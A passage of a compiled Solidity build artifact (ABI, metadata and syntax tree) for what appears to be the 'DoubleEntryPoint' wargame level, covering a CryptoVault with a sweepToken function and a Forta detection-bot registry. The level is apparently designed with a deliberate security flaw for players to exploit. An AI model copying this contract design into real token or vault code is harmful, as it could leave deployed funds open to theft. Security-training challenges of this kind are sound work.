f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/DoubleEntryPoint.sol\":{\"keccak256\":\"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6\",\"dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"latestToken","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"setUnderlying"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"sweepToken"},{"inputs":[],"stateMutability":"view","type":"function","name":"sweptTokensRecipient","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"underlying","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DoubleEntryPoint.sol":"CryptoVault"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/DoubleEntryPoint.sol":{"keccak256":"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31","urls":["bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6","dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DoubleEntryPoint.sol","id":51851,"exportedSymbols":{"Context":[48281],"CryptoVault":[51645],"DelegateERC20":[51463],"DoubleEntryPoint":[51850],"ERC20":[47861],"Forta":[51577],"IDetectionBot":[51471],"IERC20":[47939],"IERC20Metadata":[47964],"IForta":[51489],"LegacyToken":[51720],"Ownable":[46700]},"nodeType":"SourceUnit","src":"32:3886:71","nodes":[{"id":51449,"nodeType":"PragmaDirective","src":"32:23:71","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":51450,"nodeType":"ImportDirective","src":"57:54:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":51451,"nodeType":"ImportDirective","src":"112:57:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":51463,"nodeType":"ContractDefinition","src":"171:129:71","nodes":[{"id":51462,"nodeType":"FunctionDefinition","src":"201:97:71","nodes":[],"functionSelector":"9cd1a121","implemented":false,"kind":"function","modifiers":[],"name":"delegateTransfer","nameLocation":"210:16:71","parameters":{"id":51458,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51453,"mutability":"mutable","name":"to","nameLocation":"235:2:71","nodeType":"VariableDeclaration","scope":51462,"src":"227:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51452,"name":"address","nodeType":"ElementaryTypeName","src":"227:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51455,"mutability":"mutable","name":"value","nameLocation":"247:5:71","nodeType":"VariableDeclaration","scope":51462,"src":"239:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51454,"name":"uint256","nodeType":"ElementaryTypeName","src":"239:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51457,"mutability":"mutable","name":"origSender","nameLocation":"262:10:71","nodeType":"VariableDeclaration","scope":51462,"src":"254:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51456,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"226:47:71"},"returnParameters":{"id":51461,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51460,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51462,"src":"292:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51459,"name":"bool","nodeType":"ElementaryTypeName","src":"292:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"291:6:71"},"scope":51463,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"DelegateERC20","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51463],"name":"DelegateERC20","nameLocation":"181:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51471,"nodeType":"ContractDefinition","src":"302:106:71","nodes":[{"id":51470,"nodeType":"FunctionDefinition","src":"332:74:71","nodes":[],"functionSelector":"220ab6aa","implemented":false,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"341:17:71","parameters":{"id":51468,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51465,"mutability":"mutable","name":"user","nameLocation":"367:4:71","nodeType":"VariableDeclaration","scope":51470,"src":"359:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51464,"name":"address","nodeType":"ElementaryTypeName","src":"359:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51467,"mutability":"mutable","name":"msgData","nameLocation":"388:7:71","nodeType":"VariableDeclaration","scope":51470,"src":"373:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51466,"name":"bytes","nodeType":"ElementaryTypeName","src":"373:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"358:38:71"},"returnParameters":{"id":51469,"nodeType":"ParameterList","parameters":[],"src":"405:0:71"},"scope":51471,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IDetectionBot","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51471],"name":"IDetectionBot","nameLocation":"312:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51489,"nodeType":"ContractDefinition","src":"410:204:71","nodes":[{"id":51476,"nodeType":"FunctionDefinition","src":"433:63:71","nodes":[],"functionSelector":"9e927c68","implemented":false,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"442:15:71","parameters":{"id":51474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51473,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"466:19:71","nodeType":"VariableDeclaration","scope":51476,"src":"458:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51472,"name":"address","nodeType":"ElementaryTypeName","src":"458:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"457:29:71"},"returnParameters":{"id":51475,"nodeType":"ParameterList","parameters":[],"src":"495:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51483,"nodeType":"FunctionDefinition","src":"501:63:71","nodes":[],"functionSelector":"fa1fd28c","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"510:6:71","parameters":{"id":51481,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51478,"mutability":"mutable","name":"user","nameLocation":"525:4:71","nodeType":"VariableDeclaration","scope":51483,"src":"517:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51477,"name":"address","nodeType":"ElementaryTypeName","src":"517:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51480,"mutability":"mutable","name":"msgData","nameLocation":"546:7:71","nodeType":"VariableDeclaration","scope":51483,"src":"531:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51479,"name":"bytes","nodeType":"ElementaryTypeName","src":"531:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"516:38:71"},"returnParameters":{"id":51482,"nodeType":"ParameterList","parameters":[],"src":"563:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51488,"nodeType":"FunctionDefinition","src":"569:43:71","nodes":[],"functionSelector":"087a43c1","implemented":false,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"578:10:71","parameters":{"id":51486,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51485,"mutability":"mutable","name":"user","nameLocation":"597:4:71","nodeType":"VariableDeclaration","scope":51488,"src":"589:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51484,"name":"address","nodeType":"ElementaryTypeName","src":"589:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"588:14:71"},"returnParameters":{"id":51487,"nodeType":"ParameterList","parameters":[],"src":"611:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IForta","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51489],"name":"IForta","nameLocation":"420:6:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51577,"nodeType":"ContractDefinition","src":"616:752:71","nodes":[{"id":51496,"nodeType":"VariableDeclaration","src":"647:59:71","nodes":[],"constant":false,"functionSelector":"9e1083ca","mutability":"mutable","name":"usersDetectionBots","nameLocation":"688:18:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"typeName":{"id":51495,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51492,"name":"address","nodeType":"ElementaryTypeName","src":"655:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"647:33:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51494,"nodeType":"UserDefinedTypeName","pathNode":{"id":51493,"name":"IDetectionBot","nameLocations":["666:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51471,"src":"666:13:71"},"referencedDeclaration":51471,"src":"666:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}},"visibility":"public"},{"id":51500,"nodeType":"VariableDeclaration","src":"712:50:71","nodes":[],"constant":false,"functionSelector":"dc702fa0","mutability":"mutable","name":"botRaisedAlerts","nameLocation":"747:15:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":51499,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51497,"name":"address","nodeType":"ElementaryTypeName","src":"720:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"712:27:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":51498,"name":"uint256","nodeType":"ElementaryTypeName","src":"731:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"public"},{"id":51516,"nodeType":"FunctionDefinition","src":"769:156:71","nodes":[],"body":{"id":51515,"nodeType":"Block","src":"841:84:71","nodes":[],"statements":[{"expression":{"id":51513,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51506,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"851:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51509,"indexExpression":{"expression":{"id":51507,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"870:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51508,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"874:6:71","memberName":"sender","nodeType":"MemberAccess","src":"870:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"851:30:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51511,"name":"detectionBotAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51502,"src":"898:19:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51510,"name":"IDetectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51471,"src":"884:13:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IDetectionBot_$51471_$","typeString":"type(contract IDetectionBot)"}},"id":51512,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"884:34:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"src":"851:67:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51514,"nodeType":"ExpressionStatement","src":"851:67:71"}]},"baseFunctions":[51476],"functionSelector":"9e927c68","implemented":true,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"778:15:71","overrides":{"id":51504,"nodeType":"OverrideSpecifier","overrides":[],"src":"832:8:71"},"parameters":{"id":51503,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51502,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"802:19:71","nodeType":"VariableDeclaration","scope":51516,"src":"794:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51501,"name":"address","nodeType":"ElementaryTypeName","src":"794:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"793:29:71"},"returnParameters":{"id":51505,"nodeType":"ParameterList","parameters":[],"src":"841:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51551,"nodeType":"FunctionDefinition","src":"931:259:71","nodes":[],"body":{"id":51550,"nodeType":"Block","src":"1003:187:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51534,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51526,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1025:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51528,"indexExpression":{"id":51527,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1044:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1025:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51525,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1017:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51524,"name":"address","nodeType":"ElementaryTypeName","src":"1017:7:71","typeDescriptions":{}}},"id":51529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1017:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51532,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1062:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51531,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1054:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51530,"name":"address","nodeType":"ElementaryTypeName","src":"1054:7:71","typeDescriptions":{}}},"id":51533,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1054:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1017:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51536,"nodeType":"IfStatement","src":"1013:60:71","trueBody":{"functionReturnParameters":51523,"id":51535,"nodeType":"Return","src":"1066:7:71"}},{"clauses":[{"block":{"id":51545,"nodeType":"Block","src":"1144:31:71","statements":[{"functionReturnParameters":51523,"id":51544,"nodeType":"Return","src":"1158:7:71"}]},"errorName":"","id":51546,"nodeType":"TryCatchClause","src":"1144:31:71"},{"block":{"id":51547,"nodeType":"Block","src":"1182:2:71","statements":[]},"errorName":"","id":51548,"nodeType":"TryCatchClause","src":"1176:8:71"}],"externalCall":{"arguments":[{"id":51541,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1129:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51542,"name":"msgData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51520,"src":"1135:7:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"baseExpression":{"id":51537,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1086:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51539,"indexExpression":{"id":51538,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51518,"src":"1105:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1086:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}},"id":51540,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1111:17:71","memberName":"handleTransaction","nodeType":"MemberAccess","referencedDeclaration":51470,"src":"1086:42:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51543,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1086:57:71","tryCall":true,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51549,"nodeType":"TryStatement","src":"1082:102:71"}]},"baseFunctions":[51483],"functionSelector":"fa1fd28c","implemented":true,"kind":"function","modifiers":[],"name":"notify","nameLocation":"940:6:71","overrides":{"id":51522,"nodeType":"OverrideSpecifier","overrides":[],"src":"994:8:71"},"parameters":{"id":51521,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51518,"mutability":"mutable","name":"user","nameLocation":"955:4:71","nodeType":"VariableDeclaration","scope":51551,"src":"947:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51517,"name":"address","nodeType":"ElementaryTypeName","src":"947:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51520,"mutability":"mutable","name":"msgData","nameLocation":"976:7:71","nodeType":"VariableDeclaration","scope":51551,"src":"961:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51519,"name":"bytes","nodeType":"ElementaryTypeName","src":"961:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"946:38:71"},"returnParameters":{"id":51523,"nodeType":"ParameterList","parameters":[],"src":"1003:0:71"},"scope":51577,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51576,"nodeType":"FunctionDefinition","src":"1196:170:71","nodes":[],"body":{"id":51575,"nodeType":"Block","src":"1248:118:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51565,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"baseExpression":{"id":51559,"name":"usersDetectionBots","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51496,"src":"1270:18:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"}},"id":51561,"indexExpression":{"id":51560,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51553,"src":"1289:4:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1270:24:71","typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51558,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1262:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51557,"name":"address","nodeType":"ElementaryTypeName","src":"1262:7:71","typeDescriptions":{}}},"id":51562,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1262:33:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"expression":{"id":51563,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1299:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51564,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1303:6:71","memberName":"sender","nodeType":"MemberAccess","src":"1299:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1262:47:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51567,"nodeType":"IfStatement","src":"1258:60:71","trueBody":{"functionReturnParameters":51556,"id":51566,"nodeType":"Return","src":"1311:7:71"}},{"expression":{"id":51573,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":51568,"name":"botRaisedAlerts","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51500,"src":"1327:15:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => 